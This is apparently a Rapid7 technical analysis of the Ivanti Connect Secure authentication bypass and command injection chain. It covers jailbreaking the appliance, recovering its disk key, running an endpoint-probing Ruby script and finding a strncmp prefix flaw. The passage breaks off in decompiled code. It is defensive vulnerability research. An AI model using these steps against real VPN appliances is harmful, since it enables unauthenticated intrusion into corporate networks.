http://packetstormsecurity.com/files/176668/Ivanti-Connect-Secure-Unauthenticated-Remote-Code-Execution.html ADDITIONAL INFO Authenticated Unknown Exploitable Unknown Reliability Unknown Stability Unknown Available Mitigations Unknown Shelf Life Unknown Userbase/Installbase Unknown Patch Effectiveness Unknown Rapid7 January 16, 2024 1:14pm UTC (1 month ago)• Last updated January 16, 2024 3:17pm UTC (1 month ago) TECHNICAL ANALYSIS OVERVIEW Starting January 10, 2024, multiple parties (Ivanti, Volexity, and Mandiant) disclosed the existence of a zero-day exploit chain affecting Ivanti Connect Secure (previously called Pulse Connect Secure) and Ivanti Policy Secure gateway. This exploit chain was exploited in the wild circa December 2023. The exploit chain consists of two vulnerabilities, an authentication bypass (CVE-2023-46805) and a command injection vulnerability (CVE-2024-21887). The exploit chain allows a remote unauthenticated attacker to execute arbitrary OS commands with root privileges. As per the Ivanti advisory, these vulnerabilities affect all supported versions of the products, versions 9.x and 22.x. It is unknown if the unsupported versions 8.x and older are also affected. This analysis will detail our findings against Ivanti Connect Secure version 22.3R1 (build 1647). JAILBREAKING THE APPLIANCE The version of Ivanti Connect Secure we tested is distributed as a virtual appliance that can run on either VMWare or HyperV. After installing the appliance via HyperV and letting it run for a while we took a snapshot of the VM and saved the virtual hard disk to a VHD file. We then mounted this VHD in a separate Ubuntu Linux VM so we could begin to inspect the contents. We quickly learn that the majority of partitions are LUKS encrypted, and we cannot access them without a key or a jailbreak, i.e. getting a root shell on the device somehow. Prior work by Orange Tsai and Meh Chang in 2019 against Pulse Connect Secure (Infiltrating Corporate Intranet Like NSA (PDF)) showed how to jailbreak the appliance by patching an initialization script’s path in-memory, during a specific point in the boot process. This allowed a root shell to be spawned and gave full access to the mounted filesystem. Unfortunately this technique no longer works. On January 13, 2024, watchTowr Labs published a blog that demonstrated how they managed to jailbreak the appliance by dropping to a Grub bootloader recovery shell using a novel technique that bypasses an attempt at blocking the default recovery shell. Using this technique, we were able to recover the encryption key for the appliance. First we boot the appliance and from Grub, we press e to edit the current configuration. We use the watchTowr technique and append the parameter init=//bin/sh to bypass the recovery shell filtering (/bin/sh is blocked, but an alternative path such as //bin/sh will work). We then press F10 to boot, and are dropped to a shell. We dump the contents of the 16 byte encryption key via the command cat -Ev /etc/lvmkey. The -v switch will output the files contents using an obscure notation that uses ^ and M- sequences to encode non-ASCII characters (A decoding table can be found here). We do this as we found no other way to exfiltrate the 16 byte key from the recovery shell. We also use the switch -E to display the $ symbol for the new line char, as coincidentally the key contains this character. Using this notation, we learn that the key is $M-9M-^^M-OM-^IuNM-G`^XM-J^NM-Z]jM-G, and when converted into hex notation this becomes 0ab99ecf89754ec76018ca0eda5d6ac7. Knowing the decryption key we can now successfully mount the encrypted volumes via the following sequence of commands: # Install required tools... $ sudo apt install lvm2 $ sudo apt install cryptsetup-bin # Detect the volumes... $ sudo vgscan Found volume group "groupA" using metadata type lvm2 Found volume group "groupZ" using metadata type lvm2 $ sudo vgchange -ay groupA 2 logical volume(s) in volume group "groupA" now active $ sudo vgchange -ay groupZ 1 logical volume(s) in volume group "groupZ" now active $ sudo lvs LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert home groupA -wi-a----- 3.50g runtime groupA -wi-a----- 8.80g home groupZ -wi-a----- 3.00g # Write the LUKS decryption key to a file... $ echo -n 0ab99ecf89754ec76018ca0eda5d6ac7 | xxd -r -p - > key.bin # Open the 3 volumes... $ sudo cryptsetup luksOpen -d key.bin /dev/groupA/home ics_disk1 $ sudo cryptsetup luksOpen -d key.bin /dev/groupA/runtime ics_disk2 $ sudo cryptsetup luksOpen -d key.bin /dev/groupZ/home ics_disk3 # Mount the 3 volumes... $ mkdir ics_disk1 ics_disk2 ics_disk3 $ sudo mount /dev/mapper/ics_disk1 ics_disk1/ $ sudo mount /dev/mapper/ics_disk2 ics_disk2/ $ sudo mount /dev/mapper/ics_disk3 ics_disk3/ # Verify we can access the appliance files… $ cat ics_disk1/root/home/ssl-vpn-VERSION export DSREL_MAJOR=22 export DSREL_MINOR=3 export DSREL_MAINT=1 export DSREL_DATAVER=4802 export DSREL_PRODUCT=ssl-vpn export DSREL_DEPS=ive export DSREL_BUILDNUM=1647 export DSREL_COMMENT="R1" Of the three encrypted volumes, the first volume which we mounted as ics_disk1 contains the application code used throughout the below analysis. BYPASSING AUTHENTICATION There is not a lot of information to go on when trying to identify the vulnerabilities in this exploit chain. We have two pieces of information, an XML file from the vendor which can apply a “mitigation” to a vulnerable system, and the description of the auth bypass according to the vendor: > An authentication bypass vulnerability in the web component of Ivanti Connect > Secure (9.x, 22.x) and Ivanti Policy Secure allows a remote attacker to access > restricted resources by bypassing control checks. The CVE mentions the web component is affected, and that control checks can be bypassed, so we begin by investigating how the appliance’s web component operates and in particular, how it enforces access controls. We identified a custom web server written in C++ and located in the binary ics_disk1/root/home/bin/web. This server will handle all incoming HTTPS requests for numerous resources, including Perl based CGI scripts and a Python based REST API. The REST API is implemented as a separate Python Flask application, and listens on a locally bound TCP port 8090. The REST API endpoints are implemented via the code located in ics_disk1/root/home/venv3/lib/python3.6/site-packages/restservice-0.1-py3.6.egg. The native code web server will proxy requests to this REST server as needed and authentication is enforced in the native web server and not the Flask application. We begin by pulling all URI endpoints that have been hard coded into both the native code web server binary and the Python based REST server source code. A simple Ruby script is then used to request all endpoints and record their HTTP response code. require 'httparty' require 'json' # pulled from restservice-0.1-py3.6/restservice/api/__init__.py and /root/home/bin/web endpoints = [ "/_/api/aaa", "/api/", "/api/my-session", "/api/private/v1/classic-admin-ui", "/api/private/v1/cluster/password", "/api/private/v1/controller-changeset", "/api/private/v1/license/watermarks/<path:url_suffix>", "/api/private/v1/totp/server-status", "/api/private/v1/totp/user-backup-code", "/api/private/v1/totp/user-login", "/api/v1/", "/api/v1/auth", "/api/v1/cav", "/api/v1/cav/", "/api/v1/cav/client/", "/api/v1/cav/client/auth_token", "/api/v1/cluster", "/api/v1/cluster/", "/api/v1/cluster/<path:section>", "/api/v1/configuration", "/api/v1/configuration/", "/api/v1/configuration/<path:configuration_path>", "/api/v1/configuration/auth/ace-server/log-table", "/api/v1/dsintegration", "/api/v1/enduser", "/api/v1/enduser/autolaunch-client-apps", "/api/v1/enduser/bkm-panel-pref", "/api/v1/enduser/cached-passwords", "/api/v1/enduser/client/applaunchtoken", "/api/v1/enduser/client/applaunchtoken/status", "/api/v1/enduser/client/installer", "/api/v1/enduser/custom-html5-bookmark", "/api/v1/enduser/custom-html5-bookmark/input-text", "/api/v1/enduser/custom-ts-bookmark", "/api/v1/enduser/custom-ts-bookmark/input-text", "/api/v1/enduser/custom-unix-file-bookmark", "/api/v1/enduser/custom-web-bookmark", "/api/v1/enduser/custom-web-bookmark/input-text", "/api/v1/enduser/custom-windows-file-bookmark", "/api/v1/enduser/delete-user-admin", "/api/v1/enduser/display-mode", "/api/v1/enduser/display-unix-dir", "/api/v1/enduser/display-windows-dir", "/api/v1/enduser/fb/unix-file-download", "/api/v1/enduser/fb/unix-zip-download", "/api/v1/enduser/fb/win-file-download", "/api/v1/enduser/fb/win-zip-download", "/api/v1/enduser/full", "/api/v1/enduser/heartbeat", "/api/v1/enduser/host-resolve-status", "/api/v1/enduser/html5-remote-desktop-launcher", "/api/v1/enduser/jsam/apps-reorder", "/api/v1/enduser/jsam/custom-client-apps", "/api/v1/enduser/jsam/list-client-apps", "/api/v1/enduser/jsam/restore-system-settings", "/api/v1/enduser/landing-page", "/api/v1/enduser/landing-page/browse", "/api/v1/enduser/logo-img", "/api/v1/enduser/onboarding/profile-secure", "/api/v1/enduser/panel_order", "/api/v1/enduser/password", "/api/v1/enduser/rdp-launcher", "/api/v1/enduser/server-cookies", "/api/v1/enduser/totp-backup-codes", "/api/v1/enterprise-onboard/csr-template-status", "/api/v1/enterprise-onboard/scep-configuration", "/api/v1/esapdata", "/api/v1/fb/create-folder", "/api/v1/fb/create-folder-unix", "/api/v1/fb/list", "/api/v1/fb/list-unix", "/api/v1/fb/set-credentials", "/api/v1/fb/unix/upload", "/api/v1/fb/windows/upload", "/api/v1/gateways", "/api/v1/host-checker/live-update/validate-credentials", "/api/v1/integration/", "/api/v1/license/auth-code", "/api/v1/license/enforcement", "/api/v1/license/enforcement/", "/api/v1/license/ice", "/api/v1/license/ice/", "/api/v1/license/keys-status", "/api/v1/license/keys-status/<path:node_name>", "/api/v1/license/leased-license-info", "/api/v1/license/leased-license-info/", "/api/v1/license/license-agreement-text", "/api/v1/license/license-capacity", "/api/v1/license/license-capacity/", "/api/v1/license/license-client-lease-state", "/api/v1/license/license-clients", "/api/v1/license/license-key", "/api/v1/license/license-server-last-contact-time", "/api/v1/license/license-server-lease-information", "/api/v1/license/max-licensed-concurrent-users", "/api/v1/license/named-users", "/api/v1/license/named-users/pcs", "/api/v1/license/named-users/pps", "/api/v1/license/nsalicense/delete-named-user", "/api/v1/license/pcls/last-contact-time", "/api/v1/license/report", "/api/v1/license/report/", "/api/v1/license/report/<path:url_suffix>", "/api/v1/logs", "/api/v1/logs/<path:section>", "/api/v1/metrics", "/api/v1/network", "/api/v1/network/<path:section>", "/api/v1/nsa/register", "/api/v1/nsa/registration-status", "/api/v1/oidc", "/api/v1/pps/action/", "/api/v1/profiler/", "/api/v1/profiler/auth", "/api/v1/profiler/exchange", "/api/v1/profiler/filter", "/api/v1/profiler/ws", "/api/v1/pulse-client", "/api/v1/pulse-client/component-settings/<path:url_suffix>", "/api/v1/pulse-one", "/api/v1/pulse-one/<path:section>", "/api/v1/realm_auth", "/api/v1/saml-", "/api/v1/saml-config/<path:auth_server_name>/download-metadata", "/api/v1/saml-config/<path:metadata_provider_name>", "/api/v1/saml-config/idp", "/api/v1/saml-config/idp/download-signin-metadata", "/api/v1/saml-config/sp", "/api/v1/sdpotp", "/api/v1/snmp/download-mib", "/api/v1/snmpv3", "/api/v1/snmpv3/<path:section>", "/api/v1/stats", "/api/v1/stats/", "/api/v1/stats/<path:url_suffix>", "/api/v1/system/active-users", "/api/v1/system/active-users/session/<path:url_suffix>", "/api/v1/system/ai-configs/<path:section>", "/api/v1/system/auth-server/mdm", "/api/v1/system/auth-server/totp", "/api/v1/system/auth/aaa-ports-list", "/api/v1/system/auth/auth-server/<path:auth_server>/api-key", "/api/v1/system/auth/auth-server/<path:auth_server>/groups", "/api/v1/system/auth/auth-server/<path:auth_server_name>", "/api/v1/system/auth/auth-server/<path:auth_server_name>/troubleshoot", "/api/v1/system/auth/auth-server/<path:auth_server_name>/users", "/api/v1/system/auth/auth-server/api-key-without-saving", "/api/v1/system/auth/auth-server/ldap-test-connection", "/api/v1/system/auth/auth-server/simulate-variables", "/api/v1/system/binary-configuration", "/api/v1/system/certificates/client-auth-certificate", "/api/v1/system/certificates/client-auth-certificate-csrs", "/api/v1/system/certificates/client-auth-certificate-csrs/", "/api/v1/system/certificates/client-auth-certificate-csrs/<path:url_suffix>", "/api/v1/system/certificates/client-ca", "/api/v1/system/certificates/code-signing-certificates", "/api/v1/system/certificates/crl", "/api/v1/system/certificates/device-certificate", "/api/v1/system/certificates/device-certificate-csrs", "/api/v1/system/certificates/device-certificate-csrs/", "/api/v1/system/certificates/device-certificate-csrs/<path:url_suffix>", "/api/v1/system/certificates/device-certificates", "/api/v1/system/certificates/device-certificates/<path:url_suffix>", "/api/v1/system/certificates/expiring-certificates", "/api/v1/system/certificates/global-onboarding-certificate", "/api/v1/system/certificates/intermediate-ca", "/api/v1/system/certificates/server-ca", "/api/v1/system/certificates/smime-certificate", "/api/v1/system/date-time", "/api/v1/system/delete-records", "/api/v1/system/failed-login-count", "/api/v1/system/healthcheck", "/api/v1/system/ifmap/imported-sessions", "/api/v1/system/ifmap/imported-sessions/<path:url_suffix>", "/api/v1/system/maintenance", "/api/v1/system/maintenance/archiving/cloud-server-test-connection", "/api/v1/system/maintenance/archiving/localbackup", "/api/v1/system/maintenance/export-universal-xml", "/api/v1/system/maintenance/export-xml", "/api/v1/system/maintenance/import-xml", "/api/v1/system/maintenance/options", "/api/v1/system/maintenance/password-protection", "/api/v1/system/maintenance/upgrade", "/api/v1/system/platform", "/api/v1/system/resource-profiles/web-profile/<path:applet_name>", "/api/v1/system/saml/metadata-server-configuration", "/api/v1/system/status/<path:section>", "/api/v1/system/status/active-sync-devices", "/api/v1/system/status/active-sync-devices/<path:active_sync_session_id>", "/api/v1/system/status/active-sync-devices/<path:active_sync_session_id>/allow-access", "/api/v1/system/status/active-sync-devices/<path:active_sync_session_id>/block-access", "/api/v1/system/status/ntp", "/api/v1/system/status/overview", "/api/v1/system/system-information", "/api/v1/system/user-record-synchronization", "/api/v1/system/user-record-synchronization/database/delete", "/api/v1/system/user-record-synchronization/database/export", "/api/v1/system/user-record-synchronization/database/import", "/api/v1/system/user-record-synchronization/database/retrieve-stats", "/api/v1/system/user-roles/<role_name>", "/api/v1/system/user-roles/vlansourceip", "/api/v1/system/user-stats", "/api/v1/tasks", "/api/v1/tenant/status", "/api/v1/totp/<totpSrv>/users", "/api/v1/totp/<totpSrv>/users/", "/api/v1/totp/<totpSrv>/users/<user>", "/api/v1/totp/<totpSrv>/users/<user>/", "/api/v1/totp/user-backup-code", "/api/v1/ueba/", "/api/v1/users/resource-profile/<path:profile_name>", "/api/v1/users/resource-profile/virtual-desktops-list", "/dana", "/dana-", "/dana-admin/", "/dana-admin/download/", "/dana-admin/mail/", "/dana-admin/snmp/", "/dana-cached/", "/dana-cached/cbox/", "/dana-cached/cc/", "/dana-cached/css/", "/dana-cached/ep/", "/dana-cached/fb/", "/dana-cached/fb/nfs/nfv.cgi", "/dana-cached/fb/smb/wfv.cgi", "/dana-cached/hc/", "/dana-cached/imgs/", "/dana-cached/js/shimdata.cgi", "/dana-cached/psal/", "/dana-cached/remediation/", "/dana-cached/sc/", "/dana-cached/sc/PulseInstallerServiceVersion.txt", "/dana-cached/setup/", "/dana-cached/term/", "/dana-cached/themes/", "/dana-cached/webapplets", "/dana-cached/ws/", "/dana-html5acc", "/dana-html5bssl", "/dana-na", "/dana-na/", "/dana-na/auth", "/dana-na/auth/", "/dana-na/auth/AAAAAAAA/welcome.cgi", "/dana-na/auth/AAAAAAAA/welcome.cgi?p=no-access", "/dana-na/auth/AAAAAAAA/welcome.cgi?p=ssl-weak", "/dana-na/auth/AAAAAAAA/welcome.cgi?p=timed-out", "/dana-na/auth/AAAAAAAAAAAAAAAA/welcome.cgi", "/dana-na/auth/logout.cgi", "/dana-na/auth/recover.cgi", "/dana-na/auth/restAuth.cgi", "/dana-na/auth/saml-sso.cgi", "/dana-na/auth/welcome.", "/dana-na/auth/welcome.cgi?p=denied-checkhostname", "/dana-na/auth/welcome.cgi?p=forced-off", "/dana-na/auth/welcome.cgi?p=ssl-renego", "/dana-na/auth/welcome.cgi?p=timed-out", "/dana-na/auth/welcome.cgi?p=user-unknown", "/dana-na/css/", "/dana-na/healthcheck/healthcheck.cgi", "/dana-na/html/blank.html", "/dana-na/imgs/", "/dana-na/meeting/", "/dana-na/meeting/AAAAAAAAAAAAAAAA/login_meeting.cgi", "/dana-na/meeting/login_meeting.cgi", "/dana-na/nc/nc_gina_ver.txt", "/dana-na/neoteriswatchdogprocess/ping", "/dana-na/setup/psalinstall.cgi", "/dana-na/ws/", "/dana-ws/metric/", "/dana-ws/namedusers/", "/dana-ws/namedusers/PCS", "/dana-ws/namedusers/PPS", "/dana-ws/saml.ws", "/dana-ws/saml20.ws", "/dana-ws/samlecp.ws", "/dana-ws/soap/", "/dana-ws/soap/dsifmap", "/dana/", "/dana/asm/asmrun.cgi?ppc_wsam_not_installed", "/dana/cs/cs.cgi", "/dana/cs/cs_add.cgi", "/dana/cs/csdbg.cgi", "/dana/cs/jsammessages", "/dana/download", "/dana/download/", "/dana/error/AccessBlocked.msg", "/dana/error/BadCgiOutput.msg", "/dana/error/BadContent.msg", "/dana/error/CannotConnect.msg", "/dana/error/CannotReadFromOrigServer.msg", "/dana/error/CgiDied.msg", "/dana/error/CgiFailed.msg", "/dana/error/CgiNotExecutable.msg", "/dana/error/ExcessiveRequestSize.msg", "/dana/error/FormPostAutoRedirect.msg", "/dana/error/FormPostBlocked.msg", "/dana/error/InternalError.msg", "/dana/error/InvalidContentLength.msg", "/dana/error/InvalidHostHeader.msg", "/dana/error/InvalidOnBoardingURL.msg", "/dana/error/InvalidPath.msg", "/dana/error/InvalidPathDisallowedChars.msg", "/dana/error/InvalidSSLSiteConfirm.msg", "/dana/error/InvalidSSLSiteDisabled.msg", "/dana/error/MethodDisallowed.msg", "/dana/error/NTLMFail.msg", "/dana/error/NewSSLConnFail.msg", "/dana/error/OutOfDescriptors.msg", "/dana/error/PageNotFound.msg", "/dana/error/PlatformNotSupported.msg", "/dana/error/ResolveHostnameFail.msg", "/dana/error/RewritingBlocked.msg", "/dana/error/TooManyOnboardRequest.msg", "/dana/error/UserLoginYellowBarMessage.msg", "/dana/error/WebProxyProcessFail.msg", "/dana/error/WebSSOFailed.msg", "/dana/error/finishReadingPostBody.msg", "/dana/fb/", "/dana/fb/nfs/addnsh.cgi", "/dana/fb/nfs/nfb.cgi", "/dana/fb/nfs/nfmd.cgi", "/dana/fb/nfs/nnf.cgi", "/dana/fb/nfs/nu.cgi", "/dana/fb/nfs/snsrv.cgi", "/dana/fb/smb", "/dana/fb/smb/addwsh.cgi", "/dana/fb/smb/rd.cgi", "/dana/fb/smb/swg.cgi", "/dana/fb/smb/wfb.cgi", "/dana/fb/smb/wfmd.cgi", "/dana/fb/smb/wnf.cgi", "/dana/fb/smb/wu.cgi", "/dana/home", "/dana/home/activexparams.cgi", "/dana/home/applaunchtoken.cgi", "/dana/home/editbk.cgi", "/dana/home/getProfileSecure.cgi", "/dana/home/homepage.cgi", "/dana/home/index.cgi", "/dana/home/index_data.cgi", "/dana/home/infranet.cgi", "/dana/home/infranet_data.cgi", "/dana/home/installfailed.cgi", "/dana/home/launch.cgi", "/dana/home/launch.cgi?", "/dana/home/netehpl.cgi", "/dana/home/netestarter.cgi?url=", "/dana/home/norefr.cgi", "/dana/home/onboarding.cgi", "/dana/home/onboarding_device.cgi", "/dana/home/panelpref.cgi", "/dana/home/psalwait.cgi", "/dana/home/starter.cgi", "/dana/home/starter.cgi?startpageonly=1", "/dana/home/starter0", "/dana/html5acc/guacamole/", "/dana/j", "/dana/jr?", "/dana/js", "/dana/js?", "/dana/jw?", "/dana/jz?", "/dana/pref/advpref.cgi", "/dana/pref/applications.cgi", "/dana/pref/pref.cgi", "/dana/pref/useradm.cgi", "/dana/pref/userhome.cgi", "/dana/psalbrowser-extension/", "/dana/term", "/dana/term/addhtml5acc.cgi", "/dana/term/winaddterm.cgi", "/dana/term/winlaunchterm.cgi", "/dana/uploadlog/uploadlog.cgi", "/dana/user/", ] target = 'https://192.168.86.111' HTTParty::Basement.default_options.update(verify: false) endpoints.each do |endpoint| endpoint.gsub!(/(<\S+>)/, 'A' * 32 ) begin response = HTTParty.get("#{target}#{endpoint}",follow_redirects: false) p "GET, #{response.code}, #{endpoint}" rescue p "GET, timeout, #{endpoint}" end begin response = HTTParty.post("#{target}#{endpoint}",follow_redirects: false) p "POST, #{response.code}, #{endpoint}" rescue p "POST, timeout, #{endpoint}" end begin response = HTTParty.put("#{target}#{endpoint}",follow_redirects: false) p "PUT, #{response.code}, #{endpoint}" rescue p "PUT, timeout, #{endpoint}" end begin response = HTTParty.delete("#{target}#{endpoint}",follow_redirects: false) p "DELETE, #{response.code}, #{endpoint}" rescue p "DELETE, timeout, #{endpoint}" end end We run this script twice, first against an instance of Ivanti Connect Secure that does not have the mitigation file applied, and a second time against an instance of Ivanti Connect Secure that does have the mitigation file applied. Comparing the results of these two files shows the following: diff --git a/all_endpoints_no_mitigation.txt b/all_endpoints_yes_mitigation.txt index 0411078..c7c8111 100644 --- a/all_endpoints_no_mitigation.txt +++ b/all_endpoints_yes_mitigation.txt @@ -22,10 +22,10 @@ "POST, 403, /api/private/v1/controller-changeset" "PUT, 403, /api/private/v1/controller-changeset" "DELETE, 403, /api/private/v1/controller-changeset" -"GET, 302, /api/private/v1/license/watermarks/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" -"POST, 302, /api/private/v1/license/watermarks/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" -"PUT, 302, /api/private/v1/license/watermarks/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" -"DELETE, 302, /api/private/v1/license/watermarks/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +"GET, 403, /api/private/v1/license/watermarks/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +"POST, 403, /api/private/v1/license/watermarks/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +"PUT, 403, /api/private/v1/license/watermarks/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" +"DELETE, 403, /api/private/v1/license/watermarks/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "GET, 403, /api/private/v1/totp/server-status" "POST, 403, /api/private/v1/totp/server-status" "PUT, 403, /api/private/v1/totp/server-status" @@ -38,30 +38,30 @@ "POST, 403, /api/private/v1/totp/user-login" "PUT, 403, /api/private/v1/totp/user-login" "DELETE, 403, /api/private/v1/totp/user-login" -"GET, 302, /api/v1/" -"POST, 302, /api/v1/" -"PUT, 302, /api/v1/" -"DELETE, 302, /api/v1/" +"GET, 403, /api/v1/" +"POST, 403, /api/v1/" +"PUT, 403, /api/v1/" +"DELETE, 403, /api/v1/" "GET, 403, /api/v1/auth" "POST, 403, /api/v1/auth" "PUT, 403, /api/v1/auth" "DELETE, 403, /api/v1/auth" -"GET, 302, /api/v1/cav" -"POST, 302, /api/v1/cav" -"PUT, 302, /api/v1/cav" -"DELETE, 302, /api/v1/cav" -"GET, 302, /api/v1/cav/" -"POST, 302, /api/v1/cav/" -"PUT, 302, /api/v1/cav/" -"DELETE, 302, /api/v1/cav/" -"GET, 404, /api/v1/cav/client/" -"POST, 404, /api/v1/cav/client/" -"PUT, 404, /api/v1/cav/client/" -"DELETE, 404, /api/v1/cav/client/" -"GET, 302, /api/v1/cav/client/auth_token" -"POST, 302, /api/v1/cav/client/auth_token" -"PUT, 302, /api/v1/cav/client/auth_token" -"DELETE, 302, /api/v1/cav/client/auth_token" +"GET, 403, /api/v1/cav" +"POST, 403, /api/v1/cav" +"PUT, 403, /api/v1/cav" +"DELETE, 403, /api/v1/cav" +"GET, 403, /api/v1/cav/" +"POST, 403, /api/v1/cav/" +"PUT, 403, /api/v1/cav/" +"DELETE, 403, /api/v1/cav/" +"GET, 403, /api/v1/cav/client/" +"POST, 403, /api/v1/cav/client/" +"PUT, 403, /api/v1/cav/client/" +"DELETE, 403, /api/v1/cav/client/" +"GET, 403, /api/v1/cav/client/auth_token" +"POST, 403, /api/v1/cav/client/auth_token" +"PUT, 403, /api/v1/cav/client/auth_token" +"DELETE, 403, /api/v1/cav/client/auth_token" "GET, 403, /api/v1/cluster" "POST, 403, /api/v1/cluster" "PUT, 403, /api/v1/cluster" @@ -94,10 +94,10 @@ "POST, 403, /api/v1/dsintegration" "PUT, 403, /api/v1/dsintegration" "DELETE, 403, /api/v1/dsintegration" -"GET, 302, /api/v1/enduser" -"POST, 302, /api/v1/enduser" -"PUT, 302, /api/v1/enduser" -"DELETE, 302, /api/v1/enduser" +"GET, 403, /api/v1/enduser" +"POST, 403, /api/v1/enduser" +"PUT, 403, /api/v1/enduser" +"DELETE, 403, /api/v1/enduser" "GET, 302, /api/v1/enduser/autolaunch-client-apps" "POST, 302, /api/v1/enduser/autolaunch-client-apps" "PUT, 302, /api/v1/enduser/autolaunch-client-apps" @@ -186,22 +186,22 @@ "POST, 302, /api/v1/enduser/fb/win-zip-download" "PUT, 302, /api/v1/enduser/fb/win-zip-download" "DELETE, 302, /api/v1/enduser/fb/win-zip-download" -"GET, 302, /api/v1/enduser/full" -"POST, 302, /api/v1/enduser/full" -"PUT, 302, /api/v1/enduser/full" -"DELETE, 302, /api/v1/enduser/full" +"GET, 403, /api/v1/enduser/full" +"POST, 403, /api/v1/enduser/full" +"PUT, 403, /api/v1/enduser/full" +"DELETE, 403, /api/v1/enduser/full" "GET, 302, /api/v1/enduser/heartbeat" "POST, 302, /api/v1/enduser/heartbeat" "PUT, 302, /api/v1/enduser/heartbeat" "DELETE, 302, /api/v1/enduser/heartbeat" -"GET, 302, /api/v1/enduser/host-resolve-status" -"POST, 302, /api/v1/enduser/host-resolve-status" -"PUT, 302, /api/v1/enduser/host-resolve-status" -"DELETE, 302, /api/v1/enduser/host-resolve-status" -"GET, 302, /api/v1/enduser/html5-remote-desktop-launcher" -"POST, 302, /api/v1/enduser/html5-remote-desktop-launcher" -"PUT, 302, /api/v1/enduser/html5-remote-desktop-launcher" -"DELETE, 302, /api/v1/enduser/html5-remote-desktop-launcher" +"GET, 403, /api/v1/enduser/host-resolve-status" +"POST, 403, /api/v1/enduser/host-resolve-status" +"PUT, 403, /api/v1/enduser/host-resolve-status" +"DELETE, 403, /api/v1/enduser/host-resolve-status" +"GET, 403, /api/v1/enduser/html5-remote-desktop-launcher" +"POST, 403, /api/v1/enduser/html5-remote-desktop-launcher" +"PUT, 403, /api/v1/enduser/html5-remote-desktop-launcher" +"DELETE, 403, /api/v1/enduser/html5-remote-desktop-launcher" "GET, 302, /api/v1/enduser/jsam/apps-reorder" "POST, 302, /api/v1/enduser/jsam/apps-reorder" "PUT, 302, /api/v1/enduser/jsam/apps-reorder" @@ -418,10 +418,10 @@ "POST, 403, /api/v1/logs/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "PUT, 403, /api/v1/logs/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "DELETE, 403, /api/v1/logs/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" -"GET, 302, /api/v1/metrics" -"POST, 302, /api/v1/metrics" -"PUT, 302, /api/v1/metrics" -"DELETE, 302, /api/v1/metrics" +"GET, 403, /api/v1/metrics" +"POST, 403, /api/v1/metrics" +"PUT, 403, /api/v1/metrics" +"DELETE, 403, /api/v1/metrics" "GET, 403, /api/v1/network" "POST, 403, /api/v1/network" "PUT, 403, /api/v1/network" @@ -486,10 +486,10 @@ "POST, 403, /api/v1/realm_auth" "PUT, 403, /api/v1/realm_auth" "DELETE, 403, /api/v1/realm_auth" -"GET, 302, /api/v1/saml-" -"POST, 302, /api/v1/saml-" -"PUT, 302, /api/v1/saml-" -"DELETE, 302, /api/v1/saml-" +"GET, 403, /api/v1/saml-" +"POST, 403, /api/v1/saml-" +"PUT, 403, /api/v1/saml-" +"DELETE, 403, /api/v1/saml-" "GET, 403, /api/v1/saml-config/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/download-metadata" "POST, 403, /api/v1/saml-config/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/download-metadata" "PUT, 403, /api/v1/saml-config/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/download-metadata" @@ -510,10 +510,10 @@ "POST, 403, /api/v1/saml-config/sp" "PUT, 403, /api/v1/saml-config/sp" "DELETE, 403, /api/v1/saml-config/sp" -"GET, 302, /api/v1/sdpotp" -"POST, 302, /api/v1/sdpotp" -"PUT, 302, /api/v1/sdpotp" -"DELETE, 302, /api/v1/sdpotp" +"GET, 403, /api/v1/sdpotp" +"POST, 403, /api/v1/sdpotp" +"PUT, 403, /api/v1/sdpotp" +"DELETE, 403, /api/v1/sdpotp" "GET, 403, /api/v1/snmp/download-mib" "POST, 403, /api/v1/snmp/download-mib" "PUT, 403, /api/v1/snmp/download-mib" @@ -682,10 +682,10 @@ "POST, 403, /api/v1/system/failed-login-count" "PUT, 403, /api/v1/system/failed-login-count" "DELETE, 403, /api/v1/system/failed-login-count" -"GET, 200, /api/v1/system/healthcheck" -"POST, 200, /api/v1/system/healthcheck" -"PUT, 200, /api/v1/system/healthcheck" -"DELETE, 200, /api/v1/system/healthcheck" +"GET, 403, /api/v1/system/healthcheck" +"POST, 403, /api/v1/system/healthcheck" +"PUT, 403, /api/v1/system/healthcheck" +"DELETE, 403, /api/v1/system/healthcheck" "GET, 403, /api/v1/system/ifmap/imported-sessions" "POST, 403, /api/v1/system/ifmap/imported-sessions" "PUT, 403, /api/v1/system/ifmap/imported-sessions" @@ -830,10 +830,10 @@ "POST, 403, /api/v1/totp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/" "PUT, 403, /api/v1/totp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/" "DELETE, 403, /api/v1/totp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/" -"GET, 405, /api/v1/totp/user-backup-code" -"POST, 500, /api/v1/totp/user-backup-code" -"PUT, 405, /api/v1/totp/user-backup-code" -"DELETE, 405, /api/v1/totp/user-backup-code" +"GET, 403, /api/v1/totp/user-backup-code" +"POST, 403, /api/v1/totp/user-backup-code" +"PUT, 403, /api/v1/totp/user-backup-code" +"DELETE, 403, /api/v1/totp/user-backup-code" "GET, 403, /api/v1/ueba/" "POST, 403, /api/v1/ueba/" "PUT, 403, /api/v1/ueba/" Of the 376 URI paths pulled from the web and REST servers, 15 have a different HTTP response after the mitigation has been applied, and all are located in the REST API. So we will focus our attention on the Python based REST API service. After investigating several of the endpoints that returned a different HTTP response, we focus on the endpoint /api/v1/totp/user-backup-code. The native code web server has a function doAuthCheck that will test a URI to see if authentication needs to be performed, before the request is served. We can see that several paths do not need authentication. Of note is the use of a strncmp, which will only check the first N characters of the path. This means that a path that begins with /api/v1/totp/user-backup-code will not have authentication enforced, and this path can also contain additional characters appended to it, all of which will be passed to the Python backend REST service when the request is proxied. // web!doAuthCheck bool __cdecl doAuthCheck(DSLog::Debug *a1, unsigned int 